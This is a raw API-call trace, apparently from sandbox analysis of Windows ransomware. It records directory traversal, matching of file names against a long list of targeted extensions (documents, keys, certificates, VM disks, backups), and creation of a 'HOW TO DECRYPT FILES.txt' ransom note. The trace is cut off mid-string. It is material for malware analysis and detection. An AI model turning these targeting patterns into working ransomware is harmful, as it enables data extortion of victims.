[0098.849] lstrlenA (lpString="*.doc") returned 5 [0098.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.dot") returned 0 [0098.849] lstrlenA (lpString="*.dot") returned 5 [0098.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.docx") returned 0 [0098.849] lstrlenA (lpString="*.docx") returned 6 [0098.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.7z") returned 0 [0098.849] lstrlenA (lpString="*.7z") returned 4 [0098.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.tar") returned 0 [0098.849] lstrlenA (lpString="*.tar") returned 5 [0098.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.bz2") returned 0 [0098.849] lstrlenA (lpString="*.bz2") returned 5 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.gz") returned 0 [0098.850] lstrlenA (lpString="*.gz") returned 4 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.mkv") returned 0 [0098.850] lstrlenA (lpString="*.mkv") returned 5 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.eml") returned 0 [0098.850] lstrlenA (lpString="*.eml") returned 5 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.msg") returned 0 [0098.850] lstrlenA (lpString="*.msg") returned 5 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.edb") returned 0 [0098.850] lstrlenA (lpString="*.edb") returned 5 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.accdb") returned 0 [0098.850] lstrlenA (lpString="*.accdb") returned 7 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.odb") returned 0 [0098.850] lstrlenA (lpString="*.odb") returned 5 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.java") returned 0 [0098.850] lstrlenA (lpString="*.java") returned 6 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.asm") returned 0 [0098.850] lstrlenA (lpString="*.asm") returned 5 [0098.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.pfx") returned 0 [0098.851] lstrlenA (lpString="*.pfx") returned 5 [0098.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.pem") returned 0 [0098.851] lstrlenA (lpString="*.pem") returned 5 [0098.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.p12") returned 0 [0098.851] lstrlenA (lpString="*.p12") returned 5 [0098.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.gpg") returned 0 [0098.851] lstrlenA (lpString="*.gpg") returned 5 [0098.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.vsd") returned 0 [0098.851] lstrlenA (lpString="*.vsd") returned 5 [0098.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.odg") returned 0 [0098.851] lstrlenA (lpString="*.odg") returned 5 [0098.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.raw") returned 0 [0098.851] lstrlenA (lpString="*.raw") returned 5 [0098.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.nef") returned 0 [0098.851] lstrlenA (lpString="*.nef") returned 5 [0098.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.svg") returned 0 [0098.851] lstrlenA (lpString="*.svg") returned 5 [0098.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.psd") returned 0 [0098.852] lstrlenA (lpString="*.psd") returned 5 [0098.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.vmx") returned 0 [0098.852] lstrlenA (lpString="*.vmx") returned 5 [0098.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.vmdk") returned 0 [0098.852] lstrlenA (lpString="*.vmdk") returned 6 [0098.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.vdi") returned 0 [0098.852] lstrlenA (lpString="*.vdi") returned 5 [0098.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.lay6") returned 0 [0098.852] lstrlenA (lpString="*.lay6") returned 6 [0098.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.mpeg") returned 0 [0098.852] lstrlenA (lpString="*.mpeg") returned 6 [0098.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.djvu") returned 0 [0098.852] lstrlenA (lpString="*.djvu") returned 6 [0098.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.tiff") returned 0 [0098.852] lstrlenA (lpString="*.tiff") returned 6 [0098.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.backup") returned 0 [0098.852] lstrlenA (lpString="*.backup") returned 8 [0098.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.pdf") returned 0 [0098.852] lstrlenA (lpString="*.pdf") returned 5 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.cert") returned 0 [0098.853] lstrlenA (lpString="*.cert") returned 6 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.docm") returned 0 [0098.853] lstrlenA (lpString="*.docm") returned 6 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.xlsm") returned 0 [0098.853] lstrlenA (lpString="*.xlsm") returned 6 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.dwg") returned 0 [0098.853] lstrlenA (lpString="*.dwg") returned 5 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.nd") returned 0 [0098.853] lstrlenA (lpString="*.nd") returned 4 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.tlg") returned 0 [0098.853] lstrlenA (lpString="*.tlg") returned 5 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.lgb") returned 0 [0098.853] lstrlenA (lpString="*.lgb") returned 5 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.mov") returned 0 [0098.853] lstrlenA (lpString="*.mov") returned 5 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.xdw") returned 0 [0098.853] lstrlenA (lpString="*.xdw") returned 5 [0098.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.ods") returned 0 [0098.854] lstrlenA (lpString="*.ods") returned 5 [0098.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.wav") returned 0 [0098.854] lstrlenA (lpString="*.wav") returned 5 [0098.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.mp3") returned 0 [0098.854] lstrlenA (lpString="*.mp3") returned 5 [0098.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.aiff") returned 0 [0098.854] lstrlenA (lpString="*.aiff") returned 6 [0098.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.flac") returned 0 [0098.854] lstrlenA (lpString="*.flac") returned 6 [0098.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.m4a") returned 0 [0098.854] lstrlenA (lpString="*.m4a") returned 5 [0098.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", pszSpec="*.csv") returned 0 [0098.855] lstrlenA (lpString="*.csv") returned 5 [0098.855] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd632fea0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd632fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd632fea0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xf3b8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.855] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.855] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd632fea0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd632fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd632fea0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0098.855] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.855] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53cac60, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf53cac60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf53cac60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3031762e, dwReserved1=0x642e302e, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0", cAlternateFileName="MI4477~1.0")) returned 1 [0098.855] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0") returned -1 [0098.855] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0") returned -1 [0098.855] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0098.855] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0" [0098.855] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0") returned 79 [0098.855] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53cac60, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf53cac60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf53cac60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0098.856] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.856] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53cac60, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf53cac60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf53cac60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.856] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.856] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.856] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd32178e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd32178e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd32178e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0098.856] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.856] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.856] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\*.*") returned="*.*" [0098.857] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\", lpString2="10.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a" [0098.857] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned 106 [0098.857] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd32178e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd32178e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd32178e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0098.857] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.857] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd32178e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd32178e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd32178e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.857] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.857] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.857] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd32178e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd32178e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd32178e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.857] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0098.857] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll") returned -1 [0098.857] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll") returned -1 [0098.857] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll") returned -1 [0098.858] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0098.858] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" [0098.858] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="" [0098.858] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0098.858] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0098.858] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0098.863] lstrlenA (lpString="All your 